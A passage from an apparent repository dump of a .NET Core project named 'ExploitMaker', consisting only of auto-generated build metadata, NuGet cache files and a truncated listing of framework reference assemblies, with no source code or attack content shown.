5 | //------------------------------------------------------------------------------
6 |
7 | using System;
8 | using System.Reflection;
9 |
10 | [assembly: System.Reflection.AssemblyCompanyAttribute("ExploitMaker")]
11 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
12 | [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.1")]
13 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.1")]
14 | [assembly: System.Reflection.AssemblyProductAttribute("ExploitMaker")]
15 | [assembly: System.Reflection.AssemblyTitleAttribute("ExploitMaker")]
16 | [assembly: System.Reflection.AssemblyVersionAttribute("1.0.1")]
17 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/Debug/ExploitMaker.AssemblyInfoInputs.cache:
--------------------------------------------------------------------------------
1 | 5ce04b61d8021f1aee256010768e919cc4263a45
2 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/ExploitMaker.csproj.nuget.cache:
--------------------------------------------------------------------------------
1 | {
2 | "version": 1,
3 | "dgSpecHash": "3gis3HUTPp73RRnVuZHk9ntv4jfj7sfVls7iOSmiWctedj4LfpkPhqYSLC7yXz1Tc1bC6/+qs/MzS7JsXwuiQQ==",
4 | "success": true
5 | }
--------------------------------------------------------------------------------
/ExploitMaker/obj/ExploitMaker.csproj.nuget.g.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | True
5 | NuGet
6 | C:\Users\Max Berrutto\Documents\Github\CamSploit\ExploitMaker\obj\project.assets.json
7 | $(UserProfile)\.nuget\packages\
8 | C:\Users\Max Berrutto\.nuget\packages\
9 | PackageReference
10 | 4.9.1
11 |
12 |
13 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/ExploitMaker.csproj.nuget.g.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/project.assets.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": 3,
3 | "targets": {
4 | ".NETCoreApp,Version=v2.1": {
5 | "Microsoft.NETCore.App/2.1.0": {
6 | "type": "package",
7 | "dependencies": {
8 | "Microsoft.NETCore.DotNetHostPolicy": "2.1.0",
9 | "Microsoft.NETCore.Platforms": "2.1.0",
10 | "Microsoft.NETCore.Targets": "2.1.0",
11 | "NETStandard.Library": "2.0.3"
12 | },
13 | "compile": {
14 | "ref/netcoreapp2.1/Microsoft.CSharp.dll": {},
15 | "ref/netcoreapp2.1/Microsoft.VisualBasic.dll": {},
16 | "ref/netcoreapp2.1/Microsoft.Win32.Primitives.dll": {},
17 | "ref/netcoreapp2.1/System.AppContext.dll": {},
18 | "ref/netcoreapp2.1/System.Buffers.dll": {},
19 | "ref/netcoreapp2.1/System.Collections.Concurrent.dll": {},
20 | "ref/netcoreapp2.1/System.Collections.Immutable.dll": {},
21 | "ref/netcoreapp2.1/System.Collections.NonGeneric.dll": {},
22 | "ref/netcoreapp2.1/System.Collections.Specialized.dll": {},
23 | "ref/netcoreapp2.1/System.Collections.dll": {},
24 | "ref/netcoreapp2.1/System.ComponentModel.Annotations.dll": {},
25 | "ref/netcoreapp2.1/System.ComponentModel.DataAnnotations.dll": {},
26 | "ref/netcoreapp2.1/System.ComponentModel.EventBasedAsync.dll": {},
27 | "ref/netcoreapp2.1/System.ComponentModel.Primitives.dll": {},
28 | "ref/netcoreapp2.1/System.ComponentModel.TypeConverter.dll": {},
29 | "ref/netcoreapp2.1/System.ComponentModel.dll": {},
30 | "ref/netcoreapp2.1/System.Configuration.dll": {},
31 | "ref/netcoreapp2.1/System.Console.dll": {},
32 | "ref/netcoreapp2.1/System.Core.dll": {},
33 | "ref/netcoreapp2.1/System.Data.Common.dll": {},
34 | "ref/netcoreapp2.1/System.Data.dll": {},
35 | "ref/netcoreapp2.1/System.Diagnostics.Contracts.dll": {},
36 | "ref/netcoreapp2.1/System.Diagnostics.Debug.dll": {},
37 | "ref/netcoreapp2.1/System.Diagnostics.DiagnosticSource.dll": {},
38 | "ref/netcoreapp2.1/System.Diagnostics.FileVersionInfo.dll": {},
39 | "ref/netcoreapp2.1/System.Diagnostics.Process.dll": {},
40 | "ref/netcoreapp2.1/System.Diagnostics.StackTrace.dll": {},
41 | "ref/netcoreapp2.1/System.Diagnostics.TextWriterTraceListener.dll": {},
42 | "ref/netcoreapp2.1/System.Diagnostics.Tools.dll": {},
43 | "ref/netcoreapp2.1/System.Diagnostics.TraceSource.dll": {},
44 | "ref/netcoreapp2.1/System.Diagnostics.Tracing.dll": {},
45 | "ref/netcoreapp2.1/System.Drawing.Primitives.dll": {},
46 | "ref/netcoreapp2.1/System.Drawing.dll": {},
47 | "ref/netcoreapp2.1/System.Dynamic.Runtime.dll": {},
48 | "ref/netcoreapp2.1/System.Globalization.Calendars.dll": {},
49 | "ref/netcoreapp2.1/System.Globalization.Extensions.dll": {},
50 | "ref/netcoreapp2.1/System.Globalization.dll": {},
51 | "ref/netcoreapp2.1/System.IO.Compression.Brotli.dll": {},
52 | "ref/netcoreapp2.1/System.IO.Compression.FileSystem.dll": {},
53 | "ref/netcoreapp2.1/System.IO.Compression.ZipFile.dll": {},
54 | "ref/netcoreapp2.1/System.IO.Compression.dll": {},
55 | "ref/netcoreapp2.1/System.IO.FileSystem.DriveInfo.dll": {},
56 | "ref/netcoreapp2.1/System.IO.FileSystem.Primitives.dll": {},
57 | "ref/netcoreapp2.1/System.IO.FileSystem.Watcher.dll": {},
58 | "ref/netcoreapp2.1/System.IO.FileSystem.dll": {},
59 | "ref/netcoreapp2.1/System.IO.IsolatedStorage.dll": {},
60 | "ref/netcoreapp2.1/System.IO.MemoryMappedFiles.dll": {},
61 | "ref/netcoreapp2.1/System.IO.Pipes.dll": {},
62 | "ref/netcoreapp2.1/System.IO.UnmanagedMemoryStream.dll": {},
63 | "ref/netcoreapp2.1/System.IO.dll": {},
64 | "ref/netcoreapp2.1/System.Linq.Expressions.dll": {},
65 | "ref/netcoreapp2.1/System.Linq.Parallel.dll": {},
66 | "ref/netcoreapp2.1/System.Linq.Queryable.dll": {},
67 | "ref/netcoreapp2.1/System.Linq.dll": {},
68 | "ref/netcoreapp2.1/System.Memory.dll": {},
69 | "ref/netcoreapp2.1/System.Net.Http.dll": {},
70 | "ref/netcoreapp2.1/System.Net.HttpListener.dll": {},
71 | "ref/netcoreapp2.1/System.Net.Mail.dll": {},
72 | "ref/netcoreapp2.1/System.Net.NameResolution.dll": {},
73 | "ref/netcoreapp2.1/System.Net.NetworkInformation.dll": {},
74 | "ref/netcoreapp2.1/System.Net.Ping.dll": {},
75 | "ref/netcoreapp2.1/System.Net.Primitives.dll": {},
76 | "ref/netcoreapp2.1/System.Net.Requests.dll": {},
77 | "ref/netcoreapp2.1/System.Net.Security.dll": {},
78 | "ref/netcoreapp2.1/System.Net.ServicePoint.dll": {},
79 | "ref/netcoreapp2.1/System.Net.Sockets.dll": {},
80 | "ref/netcoreapp2.1/System.Net.WebClient.dll": {},
81 | "ref/netcoreapp2.1/System.Net.WebHeaderCollection.dll": {},
82 | "ref/netcoreapp2.1/System.Net.WebProxy.dll": {},
83 | "ref/netcoreapp2.1/System.Net.WebSockets.Client.dll": {},
84 | "ref/netcoreapp2.1/System.Net.WebSockets.dll": {},
85 | "ref/netcoreapp2.1/System.Net.dll": {},
86 | "ref/netcoreapp2.1/System.Numerics.Vectors.dll": {},
87 | "ref/netcoreapp2.1/System.Numerics.dll": {},
88 | "ref/netcoreapp2.1/System.ObjectModel.dll": {},
89 | "ref/netcoreapp2.1/System.Reflection.DispatchProxy.dll": {},
90 | "ref/netcoreapp2.1/System.Reflection.Emit.ILGeneration.dll": {},
91 | "ref/netcoreapp2.1/System.Reflection.Emit.Lightweight.dll": {},
92 | "ref/netcoreapp2.1/System.Reflection.Emit.dll": {},
93 | "ref/netcoreapp2.1/System.Reflection.Extensions.dll": {},
94 | "ref/netcoreapp2.1/System.Reflection.Metadata.dll": {},
95 | "ref/netcoreapp2.1/System.Reflection.Primitives.dll": {},
96 | "ref/netcoreapp2.1/System.Reflection.TypeExtensions.dll": {},
97 | "ref/netcoreapp2.1/System.Reflection.dll": {},
98 | "ref/netcoreapp2.1/System.Resources.Reader.dll": {},
99 | "ref/netcoreapp2.1/System.Resources.ResourceManager.dll": {},
100 | "ref/netcoreapp2.1/System.Resources.Writer.dll": {},
101 | "ref/netcoreapp2.1/System.Runtime.CompilerServices.VisualC.dll": {},
102 | "ref/netcoreapp2.1/System.Runtime.Extensions.dll": {},
103 | "ref/netcoreapp2.1/System.Runtime.Handles.dll": {},
104 | "ref/netcoreapp2.1/System.Runtime.InteropServices.RuntimeInformation.dll": {},
105 | "ref/netcoreapp2.1/System.Runtime.InteropServices.WindowsRuntime.dll": {},
106 | "ref/netcoreapp2.1/System.Runtime.InteropServices.dll": {},
107 | "ref/netcoreapp2.1/System.Runtime.Loader.dll": {},
108 | "ref/netcoreapp2.1/System.Runtime.Numerics.dll": {},
109 | "ref/netcoreapp2.1/System.Runtime.Serialization.Formatters.dll": {},
110 | "ref/netcoreapp2.1/System.Runtime.Serialization.Json.dll": {},
111 | "ref/netcoreapp2.1/System.Runtime.Serialization.Primitives.dll": {},
112 | "ref/netcoreapp2.1/System.Runtime.Serialization.Xml.dll": {},
113 | "ref/netcoreapp2.1/System.Runtime.Serialization.dll": {},
114 | "ref/netcoreapp2.1/System.Runtime.dll": {},
115 | "ref/netcoreapp2.1/System.Security.Claims.dll": {},
116 | "ref/netcoreapp2.1/System.Security.Cryptography.Algorithms.dll": {},
117 | "ref/netcoreapp2.1/System.Security.Cryptography.Csp.dll": {},
118 | "ref/netcoreapp2.1/System.Security.Cryptography.Encoding.dll": {},
119 | "ref/netcoreapp2.1/System.Security.Cryptography.Primitives.dll": {},
120 | "ref/netcoreapp2.1/System.Security.Cryptography.X509Certificates.dll": {},
121 | "ref/netcoreapp2.1/System.Security.Principal.dll": {},
122 | "ref/netcoreapp2.1/System.Security.SecureString.dll": {},
123 | "ref/netcoreapp2.1/System.Security.dll": {},
124 | "ref/netcoreapp2.1/System.ServiceModel.Web.dll": {},
125 | "ref/netcoreapp2.1/System.ServiceProcess.dll": {},
126 | "ref/netcoreapp2.1/System.Text.Encoding.Extensions.dll": {},
127 | "ref/netcoreapp2.1/System.Text.Encoding.dll": {},
128 | "ref/netcoreapp2.1/System.Text.RegularExpressions.dll": {},
129 | "ref/netcoreapp2.1/System.Threading.Overlapped.dll": {},
130 | "ref/netcoreapp2.1/System.Threading.Tasks.Dataflow.dll": {},
131 | "ref/netcoreapp2.1/System.Threading.Tasks.Extensions.dll": {},
132 | "ref/netcoreapp2.1/System.Threading.Tasks.Parallel.dll": {},
133 | "ref/netcoreapp2.1/System.Threading.Tasks.dll": {},
134 | "ref/netcoreapp2.1/System.Threading.Thread.dll": {},
135 | "ref/netcoreapp2.1/System.Threading.ThreadPool.dll": {},
136 | "ref/netcoreapp2.1/System.Threading.Timer.dll": {},
137 | "ref/netcoreapp2.1/System.Threading.dll": {},
138 | "ref/netcoreapp2.1/System.Transactions.Local.dll": {},
139 | "ref/netcoreapp2.1/System.Transactions.dll": {},
140 | "ref/netcoreapp2.1/System.ValueTuple.dll": {},
141 | "ref/netcoreapp2.1/System.Web.HttpUtility.dll": {},
142 | "ref/netcoreapp2.1/System.Web.dll": {},
143 | "ref/netcoreapp2.1/System.Windows.dll": {},
144 | "ref/netcoreapp2.1/System.Xml.Linq.dll": {},
145 | "ref/netcoreapp2.1/System.Xml.ReaderWriter.dll": {},
146 | "ref/netcoreapp2.1/System.Xml.Serialization.dll": {},
147 | "ref/netcoreapp2.1/System.Xml.XDocument.dll": {},
148 | "ref/netcoreapp2.1/System.Xml.XPath.XDocument.dll": {},
149 | "ref/netcoreapp2.1/System.Xml.XPath.dll": {},
150 | "ref/netcoreapp2.1/System.Xml.XmlDocument.dll": {},
151 | "ref/netcoreapp2.1/System.Xml.XmlSerializer.dll": {},
152 | "ref/netcoreapp2.1/System.Xml.dll": {},
153 | "ref/netcoreapp2.1/System.dll": {},
154 | "ref/netcoreapp2.1/WindowsBase.dll": {},
155 | "ref/netcoreapp2.1/mscorlib.dll": {},
156 | "ref/netcoreapp2.1/netstandard.dll": {}
157 | },
158 | "build": {
159 | "build/netcoreapp2.1/Microsoft.NETCore.App.props": {},
160 | "build/netcoreapp2.1/Microsoft.NETCore.App.targets": {}
161 | }
162 | },
163 | "Microsoft.NETCore.DotNetAppHost/2.1.0": {
164 | "type": "package"
165 | },
166 | "Microsoft.NETCore.DotNetHostPolicy/2.1.0": {
167 | "type": "package",
168 | "dependencies": {
169 | "Microsoft.NETCore.DotNetHostResolver": "2.1.0"
170 | }
171 | },
172 | "Microsoft.NETCore.DotNetHostResolver/2.1.0": {
173 | "type": "package",
174 | "dependencies": {
175 | "Microsoft.NETCore.DotNetAppHost": "2.1.0"
176 | }
177 | },
178 | "Microsoft.NETCore.Platforms/2.1.0": {
179 | "type": "package",
180 | "compile": {
181 | "lib/netstandard1.0/_._": {}
182 | },
183 | "runtime": {
184 | "lib/netstandard1.0/_._": {}
185 | }
186 | },
187 | "Microsoft.NETCore.Targets/2.1.0": {
188 | "type": "package",
189 | "compile": {
190 | "lib/netstandard1.0/_._": {}
191 | },
192 | "runtime": {
193 | "lib/netstandard1.0/_._": {}
194 | }
195 | },
196 | "NETStandard.Library/2.0.3": {
197 | "type": "package",
198 | "dependencies": {
199 | "Microsoft.NETCore.Platforms": "1.1.0"
200 | },
201 | "compile": {
202 | "lib/netstandard1.0/_._": {}
203 | },
204 | "runtime": {
205 | "lib/netstandard1.0/_._": {}
206 | },
207 | "build": {
208 | "build/netstandard2.0/NETStandard.Library.targets": {}
209 | }
210 | }
211 | }
212 | },
213 | "libraries": {
214 | "Microsoft.NETCore.App/2.1.0": {
215 | "sha512": "2DtRTpAhUdaPDnBM1R4Tbl1hxLW+3L4/byMonI+7aAQPFRmVeKc1epmM4wpxA4h1E7uK6tSPOBOU7f+MDcY5Bg==",
216 | "type": "package",
217 | "path": "microsoft.netcore.app/2.1.0",
218 | "files": [
219 | ".nupkg.metadata",
220 | ".signature.p7s",
221 | "LICENSE.TXT",
222 | "Microsoft.NETCore.App.versions.txt",
223 | "THIRD-PARTY-NOTICES.TXT",
224 | "build/netcoreapp2.1/Microsoft.NETCore.App.PlatformManifest.txt",
225 | "build/netcoreapp2.1/Microsoft.NETCore.App.props",
226 | "build/netcoreapp2.1/Microsoft.NETCore.App.targets",
227 | "microsoft.netcore.app.2.1.0.nupkg.sha512",
228 | "microsoft.netcore.app.nuspec",
229 | "ref/netcoreapp/_._",
230 | "ref/netcoreapp2.1/Microsoft.CSharp.dll",
231 | "ref/netcoreapp2.1/Microsoft.CSharp.xml",
232 | "ref/netcoreapp2.1/Microsoft.VisualBasic.dll",
233 | "ref/netcoreapp2.1/Microsoft.VisualBasic.xml",
234 | "ref/netcoreapp2.1/Microsoft.Win32.Primitives.dll",
235 | "ref/netcoreapp2.1/Microsoft.Win32.Primitives.xml",
236 | "ref/netcoreapp2.1/System.AppContext.dll",
237 | "ref/netcoreapp2.1/System.Buffers.dll",
238 | "ref/netcoreapp2.1/System.Buffers.xml",
239 | "ref/netcoreapp2.1/System.Collections.Concurrent.dll",
240 | "ref/netcoreapp2.1/System.Collections.Concurrent.xml",
241 | "ref/netcoreapp2.1/System.Collections.Immutable.dll",
242 | "ref/netcoreapp2.1/System.Collections.Immutable.xml",
243 | "ref/netcoreapp2.1/System.Collections.NonGeneric.dll",
244 | "ref/netcoreapp2.1/System.Collections.NonGeneric.xml",
245 | "ref/netcoreapp2.1/System.Collections.Specialized.dll",
246 | "ref/netcoreapp2.1/System.Collections.Specialized.xml",
247 | "ref/netcoreapp2.1/System.Collections.dll",
248 | "ref/netcoreapp2.1/System.Collections.xml",
249 | "ref/netcoreapp2.1/System.ComponentModel.Annotations.dll",
250 | "ref/netcoreapp2.1/System.ComponentModel.Annotations.xml",
251 | "ref/netcoreapp2.1/System.ComponentModel.DataAnnotations.dll",
252 | "ref/netcoreapp2.1/System.ComponentModel.EventBasedAsync.dll",
253 | "ref/netcoreapp2.1/System.ComponentModel.EventBasedAsync.xml",
254 | "ref/netcoreapp2.1/System.ComponentModel.Primitives.dll",
255 | "ref/netcoreapp2.1/System.ComponentModel.Primitives.xml",
256 | "ref/netcoreapp2.1/System.ComponentModel.TypeConverter.dll",
257 | "ref/netcoreapp2.1/System.ComponentModel.TypeConverter.xml",
258 | "ref/netcoreapp2.1/System.ComponentModel.dll",
259 | "ref/netcoreapp2.1/System.ComponentModel.xml",
260 | "ref/netcoreapp2.1/System.Configuration.dll",
261 | "ref/netcoreapp2.1/System.Console.dll",
262 | "ref/netcoreapp2.1/System.Console.xml",
263 | "ref/netcoreapp2.1/System.Core.dll",
264 | "ref/netcoreapp2.1/System.Data.Common.dll",
265 | "ref/netcoreapp2.1/System.Data.Common.xml",
266 | "ref/netcoreapp2.1/System.Data.dll",
267 | "ref/netcoreapp2.1/System.Diagnostics.Contracts.dll",
268 | "ref/netcoreapp2.1/System.Diagnostics.Contracts.xml",
269 | "ref/netcoreapp2.1/System.Diagnostics.Debug.dll",
270 | "ref/netcoreapp2.1/System.Diagnostics.Debug.xml",
271 | "ref/netcoreapp2.1/System.Diagnostics.DiagnosticSource.dll",
272 | "ref/netcoreapp2.1/System.Diagnostics.DiagnosticSource.xml",
273 | "ref/netcoreapp2.1/System.Diagnostics.FileVersionInfo.dll",
274 | "ref/netcoreapp2.1/System.Diagnostics.FileVersionInfo.xml",
275 | "ref/netcoreapp2.1/System.Diagnostics.Process.dll",
276 | "ref/netcoreapp2.1/System.Diagnostics.Process.xml",
277 | "ref/netcoreapp2.1/System.Diagnostics.StackTrace.dll",
278 | "ref/netcoreapp2.1/System.Diagnostics.StackTrace.xml",
279 | "ref/netcoreapp2.1/System.Diagnostics.TextWriterTraceListener.dll",
280 | "ref/netcoreapp2.1/System.Diagnostics.TextWriterTraceListener.xml",
281 | "ref/netcoreapp2.1/System.Diagnostics.Tools.dll",
282 | "ref/netcoreapp2.1/System.Diagnostics.Tools.xml",
283 | "ref/netcoreapp2.1/System.Diagnostics.TraceSource.dll",
284 | "ref/netcoreapp2.1/System.Diagnostics.TraceSource.xml",
285 | "ref/netcoreapp2.1/System.Diagnostics.Tracing.dll",
286 | "ref/netcoreapp2.1/System.Diagnostics.Tracing.xml",
287 | "ref/netcoreapp2.1/System.Drawing.Primitives.dll",
288 | "ref/netcoreapp2.1/System.Drawing.Primitives.xml",
289 | "ref/netcoreapp2.1/System.Drawing.dll",
290 | "ref/netcoreapp2.1/System.Dynamic.Runtime.dll",
291 | "ref/netcoreapp2.1/System.Globalization.Calendars.dll",
292 | "ref/netcoreapp2.1/System.Globalization.Extensions.dll",
293 | "ref/netcoreapp2.1/System.Globalization.dll",
294 | "ref/netcoreapp2.1/System.IO.Compression.Brotli.dll",
295 | "ref/netcoreapp2.1/System.IO.Compression.FileSystem.dll",
296 | "ref/netcoreapp2.1/System.IO.Compression.ZipFile.dll",
297 | "ref/netcoreapp2.1/System.IO.Compression.ZipFile.xml",
298 | "ref/netcoreapp2.1/System.IO.Compression.dll",
299 | "ref/netcoreapp2.1/System.IO.Compression.xml",
300 | "ref/netcoreapp2.1/System.IO.FileSystem.DriveInfo.dll",
301 | "ref/netcoreapp2.1/System.IO.FileSystem.DriveInfo.xml",
302 | "ref/netcoreapp2.1/System.IO.FileSystem.Primitives.dll",
303 | "ref/netcoreapp2.1/System.IO.FileSystem.Watcher.dll",
304 | "ref/netcoreapp2.1/System.IO.FileSystem.Watcher.xml",
305 | "ref/netcoreapp2.1/System.IO.FileSystem.dll",
306 | "ref/netcoreapp2.1/System.IO.FileSystem.xml",
307 | "ref/netcoreapp2.1/System.IO.IsolatedStorage.dll",
308 | "ref/netcoreapp2.1/System.IO.IsolatedStorage.xml",
309 | "ref/netcoreapp2.1/System.IO.MemoryMappedFiles.dll",
310 | "ref/netcoreapp2.1/System.IO.MemoryMappedFiles.xml",
311 | "ref/netcoreapp2.1/System.IO.Pipes.dll",
312 | "ref/netcoreapp2.1/System.IO.Pipes.xml",
313 | "ref/netcoreapp2.1/System.IO.UnmanagedMemoryStream.dll",
314 | "ref/netcoreapp2.1/System.IO.dll",
315 | "ref/netcoreapp2.1/System.Linq.Expressions.dll",
316 | "ref/netcoreapp2.1/System.Linq.Expressions.xml",
317 | "ref/netcoreapp2.1/System.Linq.Parallel.dll",
318 | "ref/netcoreapp2.1/System.Linq.Parallel.xml",
319 | "ref/netcoreapp2.1/System.Linq.Queryable.dll",
320 | "ref/netcoreapp2.1/System.Linq.Queryable.xml",
321 | "ref/netcoreapp2.1/System.Linq.dll",
322 | "ref/netcoreapp2.1/System.Linq.xml",
323 | "ref/netcoreapp2.1/System.Memory.dll",
324 | "ref/netcoreapp2.1/System.Memory.xml",
325 | "ref/netcoreapp2.1/System.Net.Http.dll",
326 | "ref/netcoreapp2.1/System.Net.Http.xml",
327 | "ref/netcoreapp2.1/System.Net.HttpListener.dll",
328 | "ref/netcoreapp2.1/System.Net.HttpListener.xml",
329 | "ref/netcoreapp2.1/System.Net.Mail.dll",
330 | "ref/netcoreapp2.1/System.Net.Mail.xml",
331 | "ref/netcoreapp2.1/System.Net.NameResolution.dll",
332 | "ref/netcoreapp2.1/System.Net.NameResolution.xml",
333 | "ref/netcoreapp2.1/System.Net.NetworkInformation.dll",
334 | "ref/netcoreapp2.1/System.Net.NetworkInformation.xml",
335 | "ref/netcoreapp2.1/System.Net.Ping.dll",
336 | "ref/netcoreapp2.1/System.Net.Ping.xml",
337 | "ref/netcoreapp2.1/System.Net.Primitives.dll",
338 | "ref/netcoreapp2.1/System.Net.Primitives.xml",
339 | "ref/netcoreapp2.1/System.Net.Requests.dll",
340 | "ref/netcoreapp2.1/System.Net.Requests.xml",
341 | "ref/netcoreapp2.1/System.Net.Security.dll",
342 | "ref/netcoreapp2.1/System.Net.Security.xml",
343 | "ref/netcoreapp2.1/System.Net.ServicePoint.dll",
344 | "ref/netcoreapp2.1/System.Net.ServicePoint.xml",
345 | "ref/netcoreapp2.1/System.Net.Sockets.dll",
346 | "ref/netcoreapp2.1/System.Net.Sockets.xml",
347 | "ref/netcoreapp2.1/System.Net.WebClient.dll",
348 | "ref/netcoreapp2.1/System.Net.WebClient.xml",
349 | "ref/netcoreapp2.1/System.Net.WebHeaderCollection.dll",
350 | "ref/netcoreapp2.1/System.Net.WebHeaderCollection.xml",
351 | "ref/netcoreapp2.1/System.Net.WebProxy.dll",
352 | "ref/netcoreapp2.1/System.Net.WebProxy.xml",
353 | "ref/netcoreapp2.1/System.Net.WebSockets.Client.dll",
354 | "ref/netcoreapp2.1/System.Net.WebSockets.Client.xml",
355 | "ref/netcoreapp2.1/System.Net.WebSockets.dll",
356 | "ref/netcoreapp2.1/System.Net.WebSockets.xml",
357 | "ref/netcoreapp2.1/System.Net.dll",
358 | "ref/netcoreapp2.1/System.Numerics.Vectors.dll",
359 | "ref/netcoreapp2.1/System.Numerics.Vectors.xml",
360 | "ref/netcoreapp2.1/System.Numerics.dll",
361 | "ref/netcoreapp2.1/System.ObjectModel.dll",
362 | "ref/netcoreapp2.1/System.ObjectModel.xml",
363 | "ref/netcoreapp2.1/System.Reflection.DispatchProxy.dll",
364 | "ref/netcoreapp2.1/System.Reflection.DispatchProxy.xml",
365 | "ref/netcoreapp2.1/System.Reflection.Emit.ILGeneration.dll",
366 | "ref/netcoreapp2.1/System.Reflection.Emit.ILGeneration.xml",
367 | "ref/netcoreapp2.1/System.Reflection.Emit.Lightweight.dll",
368 | "ref/netcoreapp2.1/System.Reflection.Emit.Lightweight.xml",
369 | "ref/netcoreapp2.1/System.Reflection.Emit.dll",
370 | "ref/netcoreapp2.1/System.Reflection.Emit.xml",
371 | "ref/netcoreapp2.1/System.Reflection.Extensions.dll",
372 | "ref/netcoreapp2.1/System.Reflection.Metadata.dll",
373 | "ref/netcoreapp2.1/System.Reflection.Metadata.xml",
374 | "ref/netcoreapp2.1/System.Reflection.Primitives.dll",
375 | "ref/netcoreapp2.1/System.Reflection.Primitives.xml",
376 | "ref/netcoreapp2.1/System.Reflection.TypeExtensions.dll",
377 | "ref/netcoreapp2.1/System.Reflection.TypeExtensions.xml",
378 | "ref/netcoreapp2.1/System.Reflection.dll",
379 | "ref/netcoreapp2.1/System.Resources.Reader.dll",
380 | "ref/netcoreapp2.1/System.Resources.ResourceManager.dll",
381 | "ref/netcoreapp2.1/System.Resources.ResourceManager.xml",
382 | "ref/netcoreapp2.1/System.Resources.Writer.dll",
383 | "ref/netcoreapp2.1/System.Resources.Writer.xml",
384 | "ref/netcoreapp2.1/System.Runtime.CompilerServices.VisualC.dll",
385 | "ref/netcoreapp2.1/System.Runtime.CompilerServices.VisualC.xml",
386 | "ref/netcoreapp2.1/System.Runtime.Extensions.dll",
387 | "ref/netcoreapp2.1/System.Runtime.Extensions.xml",
388 | "ref/netcoreapp2.1/System.Runtime.Handles.dll",
389 | "ref/netcoreapp2.1/System.Runtime.InteropServices.RuntimeInformation.dll",
390 | "ref/netcoreapp2.1/System.Runtime.InteropServices.RuntimeInformation.xml",
391 | "ref/netcoreapp2.1/System.Runtime.InteropServices.WindowsRuntime.dll",
392 | "ref/netcoreapp2.1/System.Runtime.InteropServices.WindowsRuntime.xml",
393 | "ref/netcoreapp2.1/System.Runtime.InteropServices.dll",
394 | "ref/netcoreapp2.1/System.Runtime.InteropServices.xml",
395 | "ref/netcoreapp2.1/System.Runtime.Loader.dll",
396 | "ref/netcoreapp2.1/System.Runtime.Loader.xml",
397 | "ref/netcoreapp2.1/System.Runtime.Numerics.dll",
398 | "ref/netcoreapp2.1/System.Runtime.Numerics.xml",
399 | "ref/netcoreapp2.1/System.Runtime.Serialization.Formatters.dll",
400 | "ref/netcoreapp2.1/System.Runtime.Serialization.Formatters.xml",
401 | "ref/netcoreapp2.1/System.Runtime.Serialization.Json.dll",
402 | "ref/netcoreapp2.1/System.Runtime.Serialization.Json.xml",
403 | "ref/netcoreapp2.1/System.Runtime.Serialization.Primitives.dll",
404 | "ref/netcoreapp2.1/System.Runtime.Serialization.Primitives.xml",
405 | "ref/netcoreapp2.1/System.Runtime.Serialization.Xml.dll",
406 | "ref/netcoreapp2.1/System.Runtime.Serialization.Xml.xml",
407 | "ref/netcoreapp2.1/System.Runtime.Serialization.dll",
408 | "ref/netcoreapp2.1/System.Runtime.dll",
409 | "ref/netcoreapp2.1/System.Runtime.xml",
410 | "ref/netcoreapp2.1/System.Security.Claims.dll",
411 | "ref/netcoreapp2.1/System.Security.Claims.xml",
412 | "ref/netcoreapp2.1/System.Security.Cryptography.Algorithms.dll",
413 | "ref/netcoreapp2.1/System.Security.Cryptography.Algorithms.xml",
414 | "ref/netcoreapp2.1/System.Security.Cryptography.Csp.dll",
415 | "ref/netcoreapp2.1/System.Security.Cryptography.Csp.xml",
416 | "ref/netcoreapp2.1/System.Security.Cryptography.Encoding.dll",
417 | "ref/netcoreapp2.1/System.Security.Cryptography.Encoding.xml",
418 | "ref/netcoreapp2.1/System.Security.Cryptography.Primitives.dll",
419 | "ref/netcoreapp2.1/System.Security.Cryptography.Primitives.xml",
420 | "ref/netcoreapp2.1/System.Security.Cryptography.X509Certificates.dll",
421 | "ref/netcoreapp2.1/System.Security.Cryptography.X509Certificates.xml",
422 | "ref/netcoreapp2.1/System.Security.Principal.dll",
423 | "ref/netcoreapp2.1/System.Security.Principal.xml",
424 | "ref/netcoreapp2.1/System.Security.SecureString.dll",
425 | "ref/netcoreapp2.1/System.Security.dll",
426 | "ref/netcoreapp2.1/System.ServiceModel.Web.dll",
427 | "ref/netcoreapp2.1/System.ServiceProcess.dll",
428 | "ref/netcoreapp2.1/System.Text.Encoding.Extensions.dll",
429 | "ref/netcoreapp2.1/System.Text.Encoding.Extensions.xml",
430 | "ref/netcoreapp2.1/System.Text.Encoding.dll",
431 | "ref/netcoreapp2.1/System.Text.RegularExpressions.dll",
432 | "ref/netcoreapp2.1/System.Text.RegularExpressions.xml",
433 | "ref/netcoreapp2.1/System.Threading.Overlapped.dll",
434 | "ref/netcoreapp2.1/System.Threading.Overlapped.xml",
435 | "ref/netcoreapp2.1/System.Threading.Tasks.Dataflow.dll",
436 | "ref/netcoreapp2.1/System.Threading.Tasks.Dataflow.xml",
437 | "ref/netcoreapp2.1/System.Threading.Tasks.Extensions.dll",
438 | "ref/netcoreapp2.1/System.Threading.Tasks.Extensions.xml",
439 | "ref/netcoreapp2.1/System.Threading.Tasks.Parallel.dll",
440 | "ref/netcoreapp2.1/System.Threading.Tasks.Parallel.xml",
441 | "ref/netcoreapp2.1/System.Threading.Tasks.dll",
442 | "ref/netcoreapp2.1/System.Threading.Tasks.xml",
443 | "ref/netcoreapp2.1/System.Threading.Thread.dll",
444 | "ref/netcoreapp2.1/System.Threading.Thread.xml",
445 | "ref/netcoreapp2.1/System.Threading.ThreadPool.dll",
446 | "ref/netcoreapp2.1/System.Threading.ThreadPool.xml",
447 | "ref/netcoreapp2.1/System.Threading.Timer.dll",
448 | "ref/netcoreapp2.1/System.Threading.Timer.xml",
449 | "ref/netcoreapp2.1/System.Threading.dll",
450 | "ref/netcoreapp2.1/System.Threading.xml",
451 | "ref/netcoreapp2.1/System.Transactions.Local.dll",
452 | "ref/netcoreapp2.1/System.Transactions.Local.xml",
453 | "ref/netcoreapp2.1/System.Transactions.dll",
454 | "ref/netcoreapp2.1/System.ValueTuple.dll",
455 | "ref/netcoreapp2.1/System.Web.HttpUtility.dll",
